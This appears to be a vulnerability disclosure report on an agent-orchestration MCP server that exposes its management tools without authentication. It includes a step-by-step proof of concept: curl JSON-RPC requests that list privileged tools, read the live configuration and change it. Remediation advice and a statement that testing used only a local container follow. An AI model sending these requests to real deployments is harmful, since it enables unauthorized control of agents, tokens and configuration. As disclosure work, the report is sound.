Step 1 — list exposed tools (unauthenticated)

curl http://localhost:13001/tools

HTTP/1.1 200 OK — body returned 22 tools. Privileged tools observed in the inventory include:

• config_get, config_set — read and mutate live orchestrator configuration
• agent_list, agent_spawn, agent_stop — enumerate, dispatch, and stop agents
• token_create, token_revoke — mint and revoke security tokens
• budget_set_ceiling — adjust the global token budget ceiling
• fsm_transition — drive finite-state-machine transitions
• blackboard_write, blackboard_delete — mutate the shared blackboard

Full transcript: evidence/01_get_tools.txt.

Step 2 — read live configuration (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'

HTTP/1.1 200 OK — decoded inner JSON:

{
  "ok": true,
  "tool": "config_get",
  "data": {
    "blackboardPath": "./swarm-blackboard.md",
    "maxParallelAgents": null,
    "defaultTimeout": 30000,
    "enableTracing": true,
    "grantTokenTTL": 300000,
    "maxBlackboardValueSize": 1048576,
    "auditLogPath": "./data/audit_log.jsonl",
    "trustConfigPath": "./data/trust_levels.json"
  }
}

Full transcript: evidence/02_config_get_before.txt.

Step 3 — mutate live configuration (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"config_set","arguments":{"key":"defaultTimeout","value":"12345"}}}'

HTTP/1.1 200 OK — decoded inner JSON:

{
  "ok": true,
  "tool": "config_set",
  "data": {
    "key": "defaultTimeout",
    "previous": 30000,
    "current": 12345,
    "applied": true
  }
}

Full transcript: evidence/03_config_set.txt.

Step 4 — confirm mutation persisted (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'

HTTP/1.1 200 OK — decoded inner JSON (relevant key only):

{
  "ok": true,
  "tool": "config_get",
  "data": {
    "defaultTimeout": 12345
  }
}

This proves the runtime change applied by step 3 is observable on the next read. Full transcript: evidence/04_config_get_after.txt.

Step 5 — enumerate registered agents (unauthenticated)

curl http://localhost:13001/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"agent_list","arguments":{}}}'

HTTP/1.1 200 OK — decoded inner JSON:

{
  "ok": true,
  "tool": "agent_list",
  "data": {
    "agents": [],
    "count": 0
  }
}

This is a privileged management read; the empty array reflects the test environment, not a control. Full transcript: evidence/05_agent_list.txt.

Cleanup — runtime state restored

After the PoC, defaultTimeout was restored to 30000 via the same unauthenticated config_set (previous":12345,"current":30000,"applied":true). All testing was performed against a local Docker container only.

Impact

• Unauthenticated network access enables full enumeration and invocation of the orchestrator's management functionality.
• An attacker can change runtime configuration (e.g., defaultTimeout, enableTracing), dispatch or stop agents, mutate the shared blackboard, mint or revoke security tokens, and adjust global budget ceilings.
• The default 0.0.0.0 bind, combined with the absence of any auth gate, increases the likelihood of accidental exposure on any host with a routable interface.

Suggested Remediation

1. Enforce authentication inside _handlePost() before reaching handleRPC(). At a minimum, require a shared secret / bearer token loaded from configuration; reject any request that does not present it.
2. Default the bind address to 127.0.0.1. Require an explicit configuration opt-in to bind to non-loopback interfaces, and warn on startup when binding outside loopback without an authentication mechanism configured.
3. For tool-level defense in depth, gate state-mutating tools (config_set, agent_spawn, agent_stop, token_create, token_revoke, budget_set_ceiling, fsm_transition, blackboard_write, blackboard_delete) behind an explicit authorization check tied to a verified caller identity.

Verification Environment

• Local Docker container only; no third-party deployment was tested.
• Local build required a minimal Dockerfile fix; the application code path under test was not modified.
• Runtime state (defaultTimeout) was restored to default after the PoC.

Attached Evidence

Files in evidence/ are raw curl -i transcripts captured during the verification sequence above. They are provided as supplementary backup; the key excerpts are already inlined in this report.

| File | Purpose | |---|---| |01_get_tools.txt | Step 1 — full GET /tools request and 22-tool inventory response | |02_config_get_before.txt | Step 2 — full config_get request and live configuration response | |03_config_set.txt | Step 3 — full config_set request mutating defaultTimeout | |04_config_get_after.txt| Step 4 — full config_get request showing the mutation persisted | | 05_agent_list.txt | Step 5 — full agent_list request and response |